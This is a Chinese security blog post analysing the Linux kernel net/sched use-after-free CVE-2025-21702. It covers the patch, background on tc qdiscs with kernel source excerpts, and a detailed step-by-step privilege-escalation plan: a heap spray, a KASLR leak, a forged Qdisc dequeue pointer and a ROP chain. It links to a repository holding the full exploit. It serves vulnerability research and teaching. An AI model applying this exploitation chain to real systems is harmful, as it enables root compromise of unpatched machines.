Jekyll2026-01-27T22:40:48+08:00https://bsauce.github.io/feed.xmlbsaucebsauce's personal blogbsauce【kernel exploit】CVE-2025-21702-net-sched-UAF漏洞分析2026-01-27T00:00:00+08:002026-01-27T00:00:00+08:00https://bsauce.github.io/2026/01/27/CVE-2025-21702【kernel exploit】CVE-2025-21702-net-sched UAF漏洞分析

影响版本:v2.6.34 57dbb2d83d10引入,影响Linux 6.13.2及以前,6.13.3已修复

测试版本:Linux-6.6.75 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

作者测试的内核版本是 LTS-6.6.64 / COS-109-17800.372.84。

编译选项:需要CAP_NET_ADMINCAP_NET_RAW 权限。

CONFIG_NET_SCHED / CONFIG_NET_SCH_FIFO / CONFIG_NET_SCH_HFSC (hfsc_class) / CONFIG_XFRM (xfrm_policy) / CONFIG_XFRM_USER (NETLINK_XFRM) / CONFIG_DUMMY (需开启dummy网口)

参见net/sched/Makefile,可勾选所有相关选项。

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.6.75.tar.xz
$ tar -xvf linux-6.6.75.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述net/sched模块中,当对某个qdisc(设置其sch->limit == 0)调度器调用pfifo_tail_enqueue()函数时,会使该qdisc的队列长度qlen被错误增加(虽然队列已满,却在没有先丢弃一个packet情况下,直接加入了一个新packet),而父qdisc(调用者)的长度qlen却没有增加,这使得父队列的qlen不等于子队列的qlen之和,可以构造出UAF。

本漏洞和pfifo_head_drop队列类型的特点相关,packet入队时(pfifo_tail_enqueue()函数)先判断长度是否越界(sch->q.qlen < sch->limit),如果越界则先将头部的packet删除(同时Qdisc->q.qlen减1),再将新packet加到尾部,然后将Qdisc->q.qlen加1,最后返回NET_XMIT_CN,总体上qlen大小应该不变。若返回NET_XMIT_SUCCESS,父Qdisc会正常将qlen加1;若返回NET_XMIT_CN,父Qdisc会认为子Qdisc的qlen不增不减,所以不改变qlen。问题是没有考虑sch->limit == 0的情况,此时pfifo_tail_enqueue()会判定越界,子Qdisc的qlen只加1不减1,且返回了NET_XMIT_CN,导致父Qdisc的qlen不变。

其他类型的Qdisc为什么没有这个漏洞?本质是需要构造父Qdisc和子Qdisc的qlen不相等的状态。但其他Qdisc没有这种先丢packet再入队packet,qlen加1并返回NET_XMIT_CN的操作模式。

补丁patch

diff --git a/net/sched/sch_fifo.c b/net/sched/sch_fifo.c
index b50b2c2cc09bc6..e6bfd39ff33965 100644
--- a/net/sched/sch_fifo.c
+++ b/net/sched/sch_fifo.c
@@ -40,6 +40,9 @@ static int pfifo_tail_enqueue(struct sk_buff *skb, struct Qdisc *sch,
 {
 	unsigned int prev_backlog;
 
+	if (unlikely(READ_ONCE(sch->limit) == 0))
+		return qdisc_drop(skb, sch, to_free);
+
 	if (likely(sch->q.qlen < READ_ONCE(sch->limit)))
 		return qdisc_enqueue_tail(skb, sch);

保护机制:KASLR/SMEP/SMAP/KPTI

利用总结

  • 利用逻辑漏洞构造UAF原语;
  • 利用UAF原语构造heap read原语(喷射user_key_payload 占据UAF hfsc_class);
  • 利用heap read原语泄露KASLR;
  • 利用UAF原语构造代码执行原语;
  • 利用代码执行提权。

详细利用步骤

  • [1] 构造UAF:通过父子Qdisc的qlen包个数值不一致,可以触发两次连续的eltree_insert()同一class,构造出hfsc_class对象的UAF - kmalloc-1024。悬垂指针是Qdisc_A->privdata->eligible.rb_node,指向hfsc_class中的UAF_rb_node / class_A->el_node

    • [1-1] [1-2] 创建 Qdisc_A -> Qdisc_C,Qdisc_A 类型为 hfsc,Qdisc_C类型为pfifo_head_drop并设置 sch->limit == 0

    • [1-3] 触发packet入队,此时有

      • Qdisc_A->q.qlen == 0
      • Qdisc_C->q.qlen == 1
    • [1-4] 删除Qdisc_C,将父 Qdisc的 ->q.qlen 减去待删除的Qdisc->q.qlen,此时有

      • Qdisc_A->q.qlen == -1
    • [1-5] 创建 class_A 对象,类型为 hfsc_class,父Qdisc_A;

    • [1-6] [1-7] 创建Qdisc_B,类型为 hfsc;创建 Qdisc_C,类型为pfifo_head_drop并设置 sch->limit == 0

      • 此时的关系为 class_A ->Qdisc_B -> Qdisc_C
    • [1-8] 修改Qdisc_A route,将入队的packet路由到class_A对象链接的qdisc。

    • [1-9] 触发packet入队,Qdisc_C加1, QdiscA/Qdisc_B 不变。

      • Qdisc_A->q.qlen == -1
      • Qdisc_B->q.qlen == 0
      • Qdisc_C->q.qlen == 1
    • [1-10] 删除 Qdisc_C,会将父Qdisc_A / Qdisc_B 的qlen减去待删除Qdisc_C的qlen,此时有

      • Qdisc_A->q.qlen == -2
      • Qdisc_B->q.qlen == -1
    • [1-11] 创建正常Qdisc_C,类型为,设置其sch->limit == 0xFFFFFFFF

      • 此时的关系为 class_A ->Qdisc_B -> Qdisc_C
    • [1-12] 触发 Flow2: hfsc_change_class() -> update_ed() -> eltree_update() -> eltree_remove() & eltree_insert()

      • 通过修改 class_A 触发;
      • 触发update_ed()需满足2个条件:cl->qdisc->q.qlen != 0 其中cl = class_A / cl->qdisc = Qdisc_B,且创建和修改class_A时都传入TCA_HFSC_RSC
    • [1-13] 触发 Flow1: hfsc_enqueue() -> init_ed() -> eltree_insert()

      • 第1次packet入队,hfsc_enqueue(Qdisc_A) -> hfsc_enqueue(Qdisc_B) -> pfifo_tail_enqueue(Qdisc_C),有如下

        • Qdisc_A->q.qlen == -1
        • Qdisc_B->q.qlen == 0
        • Qdisc_C->q.qlen == 1
      • 入队后会触发出队,但由于Qdisc_B->q.qlen == 0,所以 hfsc_dequeue(Qdisc_A) -> hfsc_dequeue(Qdisc_B) 出队到Qdisc_B时会停止,不会继续调用Qdisc_C->dequeue - qdisc_dequeue_head()函数,这样就可以保持预期的 rb_tree 结构;

        // class_A->el_node 状态
        A->el_node->__rb_parent_color == (0 | RB_BLACK); 	// A == cl
        A->el_node->rb_right == NULL;
        A->el_node->rb_left == NULL;
        cl->sched->eligible.rb_node == &(A->el_node);
        
      • 第2次packet入队,hfsc_enqueue(Qdisc_A) -> hfsc_enqueue(Qdisc_B) -> pfifo_tail_enqueue(Qdisc_C)满足条件cl->qdisc->q.qlen == 0 所以触发执行init_ed()cl->qdisc = Qdisc_B。有如下

        • Qdisc_A->q.qlen == 0
        • Qdisc_B->q.qlen == 1
        • Qdisc_C->q.qlen == 2
      • 入队后会触发出队,但由于Qdisc_A->q.qlen == 0,这样执行到hfsc_dequeue(Qdisc_A)就提前返回NULL(不会继续调用hfsc_dequeue(Qdisc_B)Qdisc_C->dequeue()),并保持rb_tree结构受控。

        // class_A->el_node 状态
        A->el_node->__rb_parent_color == &(A->el_node); 	// A == cl
        A->el_node->rb_right == NULL;
        A->el_node->rb_left == &(A->el_node);
        cl->sched->eligible.rb_node == &(A->el_node);
        
    • 触发UAF:删除class_A对象,此时 Qdisc_A->q.qlen == -1。此时,sched->eligible.rb_node仍保留着悬垂指针,漏洞对象是hfsc_class - kmalloc-1024,可通过父Qdisc访问到(Qdisc_A->privdata 指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向hfsc_class中的UAF_rb_node / class_A->el_node

  • [2] 构造heap OOB read,泄露内核基址。通过红黑树节点插入原理来篡改user_key_payload->datalen构造越界读,泄露相邻xfrm_policy对象中的xfrm_policy_timer函数指针。

    • [2-1] 触发hfsc_class对象的UAF。将包含UAF指针的Qdisc标记为 Victim_Qdisc - Qdisc_A;—— Qdisc_A->privdata 指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向UAF_rb_node / class_A->el_node

    • [2-2] 堆喷user_key_payload占位UAF_hfsc_class记为user_key_payload_A),伪造fake_rb_node->__rb_parent_color = 0 | RB_BLACK

    • [2-3] 泄露hfsc_class - class_B地址(记为hfsc_class_leak_address。创建class_B,默认创建class_B->qdisc 类型为pfifo,通过Qdisc_A入队packet到class_B,就会触发init_ed(class_B) -> eltree_insert(class_B)目的是将class_B->rb_node插入到Qdisc_A->privdata->eligible.rb_node->rb_right / class_A->el_node->rb_right,也即UAF漏洞对象中,以便通过user_key_payload泄露class_B的堆地址

      • 入队操作成功后,Victim_Qdisc->q.qlen == 0原先删除class_A之后该值为-1)。因此,我们可以在调用Qdisc_A的 ->dequeue() 时就提前返回NULL,并保持class_B对象在tree上。
      • 入队调用链:hfsc_enqueue() -> pfifo_enqueue() & init_ed(class_B) -> eltree_insert(class_B)
    • [2-4] 构造fake rb_tree - 2 rb_node,目的是伪造class_A->el_node->rb_left指向class_B-user_key_payload->datalen位置,以篡改datalen

      • 删除class_B,分配user_key_payload占据class_B。此时 Victim_Qdisc->q.qlen == -1

      • 释放user_key_payload_A,喷射user_key_payload,伪造UAF_rb_node->rb_left == hfsc_class_leak_address + sizeof(struct user_key_payload) - 8,也即指向(fake_hfsc_class_backed_by_user_key_payload_B->datalen)

      • 目前UAF_rb_node的值如下:

        UAF_rb_node->__rb_parent_color == NULL | RB_BLACK;
        UAF_rb_node->rb_right == NULL;
        UAF_rb_node->rb_left == hfsc_class_leak_address + sizeof(struct user_key_payload) - 8; 		// 这里表示 &(fake_hfsc_class_backed_by_user_key_payload_B->datalen) 的地址     由于datalen值为0x200,最低位为0,所以视为RB_RED节点。
        UAF_hfsc_class->cl_e == 0;
        
    • [2-5] 往UAF_rb_node->rb_right添加node - class_C,添加class_C,使得UAF_hfsc_class->el_node->rb_right = class_C->el_node

      • 创建class_C - hfsc_classclass_C->qdisc指向了一个默认的pfifo qdisc。

      • 通过Qdisc_A入队packet,触发init_ed(class_C) -> eltree_insert(class_C),则将class_C插入到UAF_rb_node->rb_right

      • 此时Victim_Qdisc->q.qlen == 0,packet出队时hfsc_dequeue()提前返回,不会继续删除node tree上的class_C

      • 目前UAF_rb_node的值如下:

        UAF_rb_node->__rb_parent_color == NULL | RB_BLACK;
        UAF_rb_node->rb_right == &(class_C->el_node);
        UAF_rb_node->rb_left == &(fake_hfsc_class_backed_by_user_key_payload_B->datalen);
        
    • [2-6] [2-7] 寻找与UAF_rb_node重叠的user_key_payload,通过判断UAF_rb_node->rb_right是否有值,释放其他user_key_payload

    • [2-8] 触发&(hfsc_class_backed_by_user_key_payload_B->datalen) 覆写。目标是覆写 user_key_payload_B->datalen 构造越界读,触发__rb_insert()函数修改 rb->__rb_parent_color(实际修改了user_key_payload_B->datalen)。

      • 创建class_D - hfsc_class(设置HFSC_FSC flag);

      • 创建Qdisc_C,类型为pfifo_head_drop,设置sch->limit == 0,关系为 Qdisc_A -> class_D -> Qdisc_C

      • 通过Qdisc_Aclass_C进行packet入队,触发逻辑漏洞,以保持Victim_Qdisc->q.qlen == 0,并构造class_D->qdisc->q.len = 1(也即Qdisc_C->q.qlen == 1,是触发init_ed() - class_D加入到红黑树的重要条件)。

      • 触发datalen覆写:本质是通过触发class_D加入到红黑树rb_tree。触发hfsc_change_class(class_D) -> init_ed(class_D) -> eltree_insert() -> rb_link_node() -> rb_insert_color() -> __rb_insert()

        • 参见 3-4红黑树节点插入的原理。

          /* rb_tree 结构如下所示
                          		  {1} UAF_rb_node
                          	      /             \
                 {2} user_key_payload_B+0x10    {3} class_C
                                                          \
                                                       {4} class_D
          由于父节点是祖父的右儿子,父红叔叔红,走第[5]条路  → 父叔染黑,祖父染红,继续向上处理。
          原本是将  叔叔->__rb_parent_color = 祖父 | RB_BLACK
          结果却是  *(user_key_payload_B+0x10) = p | 1,  错误将 user_key_payload_B->datalen 篡改为一个非常大的指针,导致越界读
          */
          
    • 越界读,泄露相邻xfrm_policy对象中的xfrm_policy_timer函数指针(xfrm_policy->timer->function)。

  • [3] 劫持控制流。伪造UAF_hfsc_class->dequeue函数指针,通过packet入队之后的出队,触发hfsc_dequeue() -> qdisc_dequeue_peeked() -> sch->dequeue() 劫持控制流,RDI寄存器可控。

    • [3-1] 触发UAF。
    • [3-2] 分配user_key_payload占据UAF_hfsc_class
    • [3-3] 泄露hfsc_class - class_B对象的堆地址。
    • [3-4] [3-5] [3-6] 删除class_B,堆喷user_key_payloadclass_B上伪造fake Qdisc / ROPChain
    • [3-7] 释放user_key_payload_A,堆喷user_key_payload,使得UAF_hfsc_class->qdisc指向第4步准备的fake Qdisc
    • [3-8] 创建正常的Qdisc_C,以便后续通过packet入队来触发cl->qdisc->dequeue劫持控制流。
    • 触发控制流劫持:
      • 第1次packet入队,使得Victim_Qdisc->q.qlen == 0,这样hfsc_dequeue()会提前返回。
      • 第2次packet入队,使得Victim_Qdisc->q.qlen == 1,这样hfsc_dequeue()会触发cl->qdisc->dequeue()控制流劫持。
      • 需满足两个条件:
        • Qdisc_A / Victim_qdisc->q.qlen != 0
        • Qdisc->gso_skb.next = &Qdisc->gso_skb

1. net-sched模块介绍

1-1. 概念

简介net/sched 是 Linux 内核中流量控制(Traffic Control)子系统的核心模块,它提供了强大的网络数据包调度Scheduling(egress发包顺序)、整形Shapping(egress发包限速)、策略执行功能Policing(ingress收包,延迟或丢弃)、过滤Dropping(丢弃数据包,出入两个方向)iproute2软件包中的tc程序提供了用户态的规则配置工具。

  • qdisc(排队规则):决定数据包如何在网络接口上排队等待传输的规则。不同类型的 qdisc 实现了不同的排队和传输策略,例如 FIFO、优先级队列、令牌桶等。两个回调接口 enqueue / dequeue 函数用于数据包入队和出队。不同的qdisc实现可参见net/sched/sch_*代码。
  • class(类别):用于将流量分组,以便应用不同的流量控制策略(qdisc)。
  • classifier(也称为filter):根据特定的规则将流量分类到不同的组(class)。
  • action(动作):要对数据包执行什么动作,例如允许数据包通过(pass)、丢弃数据包(drop)、重新分类(reclassify)等。支持的action类别如下:
    • TC_ACT_OK:允许数据包通过并继续处理。
    • TC_ACT_SHOT:丢弃数据包。
    • TC_ACT_RECLASSIFY:将数据包重新分类,再次应用分类规则。
    • TC_ACT_PIPE:将数据包传递给链中的下一个元素。

标识符:qdisc和class的标识符叫做handle,它是一个32位的整数,分为major和minor两部分,各占16位,表达方式为​m:n,m或n省略时,表示0。

  • m:0一般表示qdisc;对于class,minor一般从1开始,而m使用它所挂载的qdisc的major号。
  • root qdisc的handle一般使用1:0表示,ingress一般使用ffff:0表示。

关系

  • qdisc需要attach到网络接口上,一个网络接口可以有多个qdisc。
  • class和filter都需要attach到qdisc上。
  • action需与filter关联,即给filter添加action。在某些情况下,过滤器可以直接返回一个动作码(action),而不是一个类别 ID(classid)。

流量路径:对于树形结构的qdisc, 当数据包到达最顶层qdisc时,会层层向下递归进行调用。如,父对象(qdisc/class)的enqueue回调接口被调用时,其上所挂载的所有filter依次被调用,直到一个filter匹配成功。然后将数据包入队到filter所指向的class(或者执行该filter所挂载的action),packet入队具体实现则是调用class->qdisc->enqueue函数。没有成功匹配filter的数据包分类到默认的class中。

  • 流量首先到达网络接口,例如 eth0。
  • 流量通过过滤器(filter/classifier),将流量分发到不同的class。如果这个filter有action,则直接执行action,如丢弃、放行等,不需要将流量发送到 qdisc。
  • 根据过滤器的匹配结果,流量被分配到相应的qdisc。
  • 经过 qdisc 处理后,数据包将按照配置的规则被发送到网络。

relationship-qdisc_class_filter_action

流量队列类型

  • FIFO 队列:先入先出,不考虑流量分类;参见net/sched/sch_fifo.c
  • PFIFO_FAST 队列:FIFO 队列的改进版本,支持流量分类;
  • SFQ 队列:随机公平队列,对所有 IP Packets 都一视同仁,随机分配;
  • 令牌桶队列(Token Bucket):分为TBF(Token Bucket Filter,令牌桶过滤器)队列,HTB(Hierarchical Token Bucket,分层令牌桶)队列。网络流量比较恒定的场景中适合使用较小的令牌桶,而经常有突发流量的网络则适合使用大的令牌桶。
    • (1)一个固定容量的 Bucket(桶)装着一定数量的 Tokens(令牌),Bucket 会以一定的 Rate(速率)生产 Tokens,直到装满。即:Bucket 的容量即 Tokens 数量的上限。
    • (2)一个 Packet 对应一个 Token,进入到 Queue 中的 Packet 只有从 Bucket 中获得了 Token 之后才可以 DEQUEUE。
    • (3)Bucket 通过控制 Token 生成的 Rate,从而控制 Packet 出队的 Rate。
    • (4)当没有 Packet 要出队时,Bucket 中的 Tokens 会累积起来,以应对一定程度的 Burst(突发)流量,突发时长 = 令牌桶容量 / (发送速率 - 令牌补充速率)。

1-2. 示例

示例树形结构

qdisc-tree-example

对应tc命令

tc-command

示例命令:如何使用tc命令实现把来自某个ip(本机ip xx.yy.zz.kk)发往某个ip(远程ip 31.13.68.169)的流量做丢包处理?

  • 给enp1s0网络接口添加(attach)一个qdisc(流量整形规则)

    $ tc qdisc add dev enp1s0 root handle 1: htb
    
    • tc qdisc add 命令用于添加一个 qdisc,对应的还有 tc qdisc del
    • dev enp1s0 指定了要添加 qdisc 的网络设备接口,这里网络设备接口是 enp1s0
    • root 表示将要添加的 qdisc 作为指定网络设备的根 qdisc,根 qdisc 是网络接口上的第一个 qdisc,所有通过该接口的流量都会首先经过它。
    • handle 1 可以理解为给这个 qdisc 指定一个id。为这个 qdisc 分配一个句柄(handle),在本例中是 1:,句柄是 qdisc 在网络设备上的唯一标识符。qdisc和filter、class的id通常采用 major:minor 的格式, majorminor 可以是任意的数字,但应该是唯一的。举个例子,假设qdisc的id为99:,class可以是99:10,filter可以是99:11
    • htb:htb是Hierarchical Token Bucket,一个分层令牌桶 qdisc。
  • 创建一个filter并关联drop这个action,将这个filter添加(attach)到我们创建的qdisc。filter关联drop action后,是不需要将流量分派到某个class的,所以我们并没有创建class

    $ tc filter add dev enp1s0 protocol ip parent 1: prio 1 u32 match ip src xx.yy.zz.kk/32 match ip dst 31.13.68.169/32 action drop
    
    • tc filter add 命令用于添加一个filter,对应的还有 tc filter del
    • dev enp1s0tc qdisc add 命令,指定网络设备接口,这里网络设备接口是 enp1s0
    • protocol ip 指定要匹配的协议为 IP协议。
    • parent 1: 指定父 qdisc 的句柄,这里根 qdisc 的句柄是 1:。
    • prio 1:设置过滤器的优先级。
    • u32:指定使用 u32 匹配规则。
    • match ip src xx.yy.zz.kk/32:匹配源 IP 地址为 xx.yy.zz.kk 的数据包。/32 表示精确匹配该 IP 地址。
    • match ip dst 31.13.68.169/32:匹配目的 IP 地址为 31.13.68.169 的数据包。
    • action drop 对匹配的数据包执行丢包动作。

1-3. 代码分析

(1)功能函数入口&初始化

主要功能RTM_NEWQDISC / RTM_DELQDISC / RTM_GETQDISC / RTM_NEWTCLASS / RTM_DELTCLASS / RTM_GETTCLASS

初始化示例-Qdisc操作表对象pktsched_init() -> register_qdisc,初始化后将操作表存入 struct Qdisc_ops *qdisc_base 全局链表中。

// net/sched/sch_api.c
static int __init pktsched_init(void)
{
	int err;

	err = register_pernet_subsys(&psched_net_ops);
	if (err) {
		pr_err("pktsched_init: "
		       "cannot initialize per netns operations\n");
		return err;
	}

	register_qdisc(&pfifo_fast_ops);		// 函数调用表 - 通过网络发包触发。register_qdisc() 将该结构存入 `struct Qdisc_ops *qdisc_base` 全局链表中
	register_qdisc(&pfifo_qdisc_ops);
	register_qdisc(&bfifo_qdisc_ops);
	register_qdisc(&pfifo_head_drop_qdisc_ops);
	register_qdisc(&mq_qdisc_ops);
	register_qdisc(&noqueue_qdisc_ops);

	rtnl_register(PF_UNSPEC, RTM_NEWQDISC, tc_modify_qdisc, NULL, 0); 	// 注册用户接口配置函数
	rtnl_register(PF_UNSPEC, RTM_DELQDISC, tc_get_qdisc, NULL, 0);
	rtnl_register(PF_UNSPEC, RTM_GETQDISC, tc_get_qdisc, tc_dump_qdisc,
		      0);
	rtnl_register(PF_UNSPEC, RTM_NEWTCLASS, tc_ctl_tclass, NULL, 0);
	rtnl_register(PF_UNSPEC, RTM_DELTCLASS, tc_ctl_tclass, NULL, 0);
	rtnl_register(PF_UNSPEC, RTM_GETTCLASS, tc_ctl_tclass, tc_dump_tclass,
		      0);

	tc_wrapper_init();

	return 0;
}

// rtnl_register() -> rtnl_register_internal()
// 注册过程:从rtnl_msg_handlers[] 数组中根据 protocol 类型找到对应的 rtnl_link 数组,然后将 doit 函数 tc_modify_qdisc() 赋值给 link->doit

subsys_initcall(pktsched_init);

static struct Qdisc_ops *qdisc_base;
// 首次注册 Qdisc_ops 时,enqueue/peek/dequeue 会被赋值为 noop_qdisc_ops 操作,在open时才会被修改,最后存入 qdisc_base 全局链表中
int register_qdisc(struct Qdisc_ops *qops)
{
	struct Qdisc_ops *q, **qp;
	int rc = -EEXIST;

	write_lock(&qdisc_mod_lock);
	for (qp = &qdisc_base; (q = *qp) != NULL; qp = &q->next)
		if (!strcmp(qops->id, q->id))
			goto out;

	if (qops->enqueue == NULL)
		qops->enqueue = noop_qdisc_ops.enqueue;
	if (qops->peek == NULL) {
		if (qops->dequeue == NULL)
			qops->peek = noop_qdisc_ops.peek;
		else
			goto out_einval;
	}
	if (qops->dequeue == NULL)
		qops->dequeue = noop_qdisc_ops.dequeue;

	if (qops->cl_ops) {
		const struct Qdisc_class_ops *cops = qops->cl_ops;

		if (!(cops->find && cops->walk && cops->leaf))
			goto out_einval;

		if (cops->tcf_block && !(cops->bind_tcf && cops->unbind_tcf))
			goto out_einval;
	}

	qops->next = NULL;
	*qp = qops;
	rc = 0;
out:
	write_unlock(&qdisc_mod_lock);
	return rc;

out_einval:
	rc = -EINVAL;
	goto out;
}
EXPORT_SYMBOL(register_qdisc);

(2)Qdisc创建-hfsc

用户调用RTM_NEWQDISC

// 用户代码示例
struct tc_hfsc_qopt hfsc_qopt_A = { .defcls = 0 };
void create_hfsc_qdisc(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent, 				// TC_H_ROOT
	u32 tcm_handle, 				// 0xaaaa0000
	const struct tc_hfsc_qopt *qopt 
)
{	// tc_modify_qdisc() - 对应内核处理函数,需构造: nlmsghdr + tcmsg + nlattr + tc_hfsc_qopt { .defcls = 0 }
	u32 seq = time(NULL);
	u8 buf[8192] = {};
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = RTM_NEWQDISC; 									// RTM_NEWQDISC  操作码
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST | NLM_F_CREATE;
	struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));	// tcmsg - Traffic control messages
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_parent = tcm_parent; 										// 父handle
	tcm->tcm_handle = tcm_handle;
	mnl_attr_put_strz(nlh, TCA_KIND, "hfsc"); 							// TCA_KIND = hfsc  Qdisc类型
	mnl_attr_put(nlh, TCA_OPTIONS, sizeof(*qopt), qopt);
	Mnl_socket_sendto(route_socket, nlh, nlh->nlmsg_len);
	int ret = validate_mnl_socket_operation_success(route_socket, seq);
}

内核trace

  • SYSCALL_DEFINE4-sendto -> __sys_sendto() -> __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - netlink_sendmsg() -> netlink_unicast() -> netlink_unicast_kernel() -> nlk->netlink_rcv - rtnetlink_rcv() -> netlink_rcv_skb() -> rtnetlink_rcv_msg()
  • link->doit - tc_modify_qdisc()
    • tc_modify_qdisc() -> qdisc_create() -> qdisc_alloc() & hfsc_init_qdisc()
    • tc_modify_qdisc() -> qdisc_graft() -> hfsc_search_class() & hfsc_graft_class() -> qdisc_replace()

关键代码总结

  • tc_modify_qdisc()
    • [1] qdisc_create() - 创建Qdisc并初始化,自动创建对应的root class - Qdisc->privdata->root - hfsc_class类型,root class后自动创建”pfifo”-pfifo_qdisc_ops类型的Qdisc - Qdisc->privdata->root.qdisc
    • [2] qdisc_graft() - 将parent Qdisc的class后面连上新创建的 Qdisc,cl->qdisc = new Qdisc

注意

  • 不同类型的Qdisc都有自己的struct Qdisc_ops结构定义,其中包含关键的函数定义,例如enqueue/dequeue。可通过搜索struct Qdisc_ops来查找所有的队列处理模式,代码位于net/sched/sch_*
  • 不同的class有不同的struct Qdisc_class_op结构定义。
static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
			   struct netlink_ext_ack *extack)
{
    struct net *net = sock_net(skb->sk);
	struct tcmsg *tcm;
	struct nlattr *tca[TCA_MAX + 1];
	struct net_device *dev;
	u32 clid;
	struct Qdisc *q, *p;
	int err;
    ...
    q = qdisc_create(dev, dev_queue, 			// [1] <--- qdisc_create()
				 tcm->tcm_parent, tcm->tcm_handle,
				 tca, &err, extack);
    ...
    err = qdisc_graft(dev, p, skb, n, clid, q, NULL, extack); 	// [2] p = parent Qdisc; q = new child Qdisc  // 这里若分配的是第一个 Qdisc, 则 parent_handle = TC_H_ROOT  =>  p = NULL;  若分配的是第2个Qdisc,parent_handle != TC_H_ROOT => p = Qdisc_parent
    ...
}
// [1] qdisc_create() - 创建Qdisc
static struct Qdisc *qdisc_create(struct net_device *dev,
				  struct netdev_queue *dev_queue,
				  u32 parent, u32 handle,
				  struct nlattr **tca, int *errp,
				  struct netlink_ext_ack *extack)
{
	int err;
	struct nlattr *kind = tca[TCA_KIND];
	struct Qdisc *sch;
	struct Qdisc_ops *ops;
	struct qdisc_size_table *stab;

	ops = qdisc_lookup_ops(kind); 					//  "hfsc" / "pfifo_head_drop"  所以搜索 `struct Qdisc_ops` 可以看出有多少种
    ...
    sch = qdisc_alloc(dev_queue, ops, extack);		// [1-1] 分配Qdisc
    ...
    sch->parent = parent; 		// tcm->tcm_parent
    sch->handle = handle; 		// tcm->tcm_handle
    ...
    if (ops->init) {
		err = ops->init(sch, tca[TCA_OPTIONS], extack); 	// [1-2] 本exp中 hfsc - hfsc_qdisc_ops - hfsc_init_qdisc() 会自动创建对应的 hfsc_class
		if (err != 0)
			goto err_out4;
	}
    ...
    qdisc_hash_add(sch, false);
    ...
}
// [1-1]
struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue,
			  const struct Qdisc_ops *ops,
			  struct netlink_ext_ack *extack)
{
	struct Qdisc *sch;
	unsigned int size = sizeof(*sch) + ops->priv_size;
    ...
    dev = dev_queue->dev;
	sch = kzalloc_node(size, GFP_KERNEL, netdev_queue_numa_node_read(dev_queue));
	...
    sch->ops = ops; 				// Qdisc 对象的回调函数初始化 - 来自预先定义的 `struct Qdisc_ops`
	sch->flags = ops->static_flags;
	sch->enqueue = ops->enqueue;
	sch->dequeue = ops->dequeue;
	sch->dev_queue = dev_queue;
    ...
}

static struct Qdisc_ops hfsc_qdisc_ops __read_mostly = {
	.id		= "hfsc",
	.init		= hfsc_init_qdisc,
	.change		= hfsc_change_qdisc,
	.reset		= hfsc_reset_qdisc,
	.destroy	= hfsc_destroy_qdisc,
	.dump		= hfsc_dump_qdisc,
	.enqueue	= hfsc_enqueue,
	.dequeue	= hfsc_dequeue,
	.peek		= qdisc_peek_dequeued,
	.cl_ops		= &hfsc_class_ops,
	.priv_size	= sizeof(struct hfsc_sched),
	.owner		= THIS_MODULE
};
// [1-2] hfsc_init_qdisc() - 第一个 Qdisc 自动创建 hfsc_class, hfsc_class.qdisc 为自动创建的类型为 pfifo_qdisc_ops 的 Qdisc
static int
hfsc_init_qdisc(struct Qdisc *sch, struct nlattr *opt,
		struct netlink_ext_ack *extack)
{
	struct hfsc_sched *q = qdisc_priv(sch); 	// q->privdata 指向 hfsc_sched
	struct tc_hfsc_qopt *qopt;
	int err;
	...
	qopt = nla_data(opt);
	q->defcls = qopt->defcls;
	...
	q->eligible = RB_ROOT;
	...
	q->root.cl_common.classid = sch->handle; 	// 第1个Qdisc, 自动创建和初始化 sch->privdata->root (hfsc_class对象)
	q->root.sched   = q;
	q->root.qdisc = qdisc_create_dflt(sch->dev_queue, &pfifo_qdisc_ops, 	// hfsc_class.qdisc = pfifo_qdisc_ops  class后面自动创建pfifo_qdisc_ops类型的Qdisc
					  sch->handle, NULL);
	if (q->root.qdisc == NULL)
		q->root.qdisc = &noop_qdisc;
	else
		qdisc_hash_add(q->root.qdisc, true);
	INIT_LIST_HEAD(&q->root.children);
	q->root.vt_tree = RB_ROOT;
	q->root.cf_tree = RB_ROOT;

	qdisc_class_hash_insert(&q->clhash, &q->root.cl_common);
	qdisc_class_hash_grow(sch, &q->clhash);

	return 0;
}

struct hfsc_sched {
	u16	defcls;				/* default class id */
	struct hfsc_class root;			/* root class */ 	// <--- hfsc_class
	struct Qdisc_class_hash clhash;		/* class hash */
	struct rb_root eligible;		/* eligible tree */
	struct qdisc_watchdog watchdog;		/* watchdog timer */
};

// [2] qdisc_graft() - 将新建的 new Qdisc 添加到 Qdisc_parent 中去
static int qdisc_graft(struct net_device *dev, struct Qdisc *parent,
		       struct sk_buff *skb, struct nlmsghdr *n, u32 classid,
		       struct Qdisc *new, struct Qdisc *old,
		       struct netlink_ext_ack *extack)
{
	struct Qdisc *q = old;
	struct net *net = dev_net(dev);

	if (parent == NULL) { 	// 第1个Qdisc,没有parent
        ...
    } else {
		const struct Qdisc_class_ops *cops = parent->ops->cl_ops; 	// 第2个Qdisc, cops = hfsc_class_ops, 
		unsigned long cl;
		int err;
		...
		cl = cops->find(parent, classid); 					// [2-1] hfsc_search_class() - 找到 Qdisc 相连的id为 classid 的 hfsc_class
		...
		err = cops->graft(parent, cl, new, &old, extack); 	// [2-2] hfsc_graft_class() hfsc_class cl->qdisc = new Qdisc  将parent Qdisc的class后面连上新创建的 Qdisc
		if (err)
			return err;
		notify_and_destroy(net, skb, n, classid, old, new, extack);
	}
	return 0;
}    

static const struct Qdisc_class_ops hfsc_class_ops = {
	.change		= hfsc_change_class,
	.delete		= hfsc_delete_class,
	.graft		= hfsc_graft_class, 		// <---
	.leaf		= hfsc_class_leaf,
